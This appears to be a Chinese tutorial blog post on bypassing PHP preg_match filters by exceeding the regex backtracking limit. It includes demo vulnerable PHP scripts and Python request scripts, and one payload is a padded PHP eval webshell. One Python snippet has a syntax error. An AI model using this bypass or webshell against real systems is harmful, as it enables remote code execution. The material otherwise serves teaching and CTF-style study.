当前位置:网站首页>利用正则表达式的回溯实现绕过
利用正则表达式的回溯实现绕过
2022-08-01 10:13:00 【miracle-boy】
目录
什么是正则回溯?
从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。
为什么可以利用正则回溯进行绕过?
- 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。
- 在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:
- 使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
php正则回溯绕过案例一
php源码:
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
echo "flag{raoguo-cenggong}";
}else{
echo "bad requests";
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
python绕过源码
import requests
datas = {
'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)
当回溯次数为999990次时的运行结果:
当回溯次数为1000000次时的运行结果:
php正则回溯绕过案例二
php源码:
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
[email protected]$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'flag{cheng-gong}';
}else{
echo 'no have Merry Christmas';
}
}else{
echo 'Bypass the failure';
}
}
?>
python源码:
import requests
datas = {
'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
python测试:
没有 ‘Merry Christmas’ 前缀的运行结果
import requests
datas = {
'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
边栏推荐
- Introduction to ADAS
- [Cloud Residency Co-Creation] Huawei Cloud Global Scheduling Technology and Practice of Distributed Technology
- 基于CAP组件实现补偿事务与消息幂等性
- 关于#SQL#的问题,如何解决?
- What is a stepper motor?40 pictures to show you!
- slice、splice、split傻傻分不清
- 如何从完美的智能合约中窃取 1 亿美元
- MacOS下postgresql(pgsql)数据库密码为什么不需要填写或可以乱填写
- Opencv creates a window - cv.namedWindow()
- Cross-domain network resource file download
猜你喜欢
Google Earth Engine APP——15行代码搞定一个inspector高程监测APP
What is a stepper motor?40 pictures to show you!
VS“无法查找或打开PDB文件”是怎么回事?如何解决
C language game - minesweeper
记一次 .NET 某智慧物流WCS系统CPU爆高分析
7. SAP ABAP OData 服务如何支持 $orderby (排序)操作
Meeting OA (Upcoming Meetings & All Meetings)
How to implement deep copy in js?
微信公众号授权登录后报redirect_uri参数错误的问题
如何在IntellJ IDEA中批量修改文件换行符
随机推荐
2022年7月31日--使用C#迈出第一步--使用C#中的数组和foreach语句来存储和循环访问数据序列
Mysql index related knowledge review one
.NET性能优化-使用SourceGenerator-Logger记录日志
WTM:ASP.NET Core快速开发利器!
Mini Program Graduation Works WeChat Food Recipes Mini Program Graduation Design Finished Products (3) Background Functions
解决new Thread().Start导致高并发CPU 100%的问题
How to implement deep copy in js?
VS“无法查找或打开PDB文件”是怎么回事?如何解决
周鸿祎称微软抄袭 360 安全模式后发文否认;英特尔CEO基辛格回应市值被AMD超越:股价下跌是咎由自取|极客头条
Qt 支持HEIC/HEIF格式图片
node 格式化时间的传统做法与高级做法(moment)
Explain / Desc execution plan analysis
数仓分层简介(实时数仓架构)
线上问题排查常用命令,总结太全了,建议收藏!!
我是如何保护 70000 ETH 并赢得 600 万漏洞赏金的
For small applications, which database is better to use?
STM32入门开发 介绍IIC总线、读写AT24C02(EEPROM)(采用模拟时序)
Guangyu Mingdao was selected into the list of pilot demonstration projects for the development of digital economy industry in Chongqing in 2022
Change Servlet project to SSM project
ASP.NET Core 6 Framework Revealing Instance Demonstration [30]: Develop REST API with Routing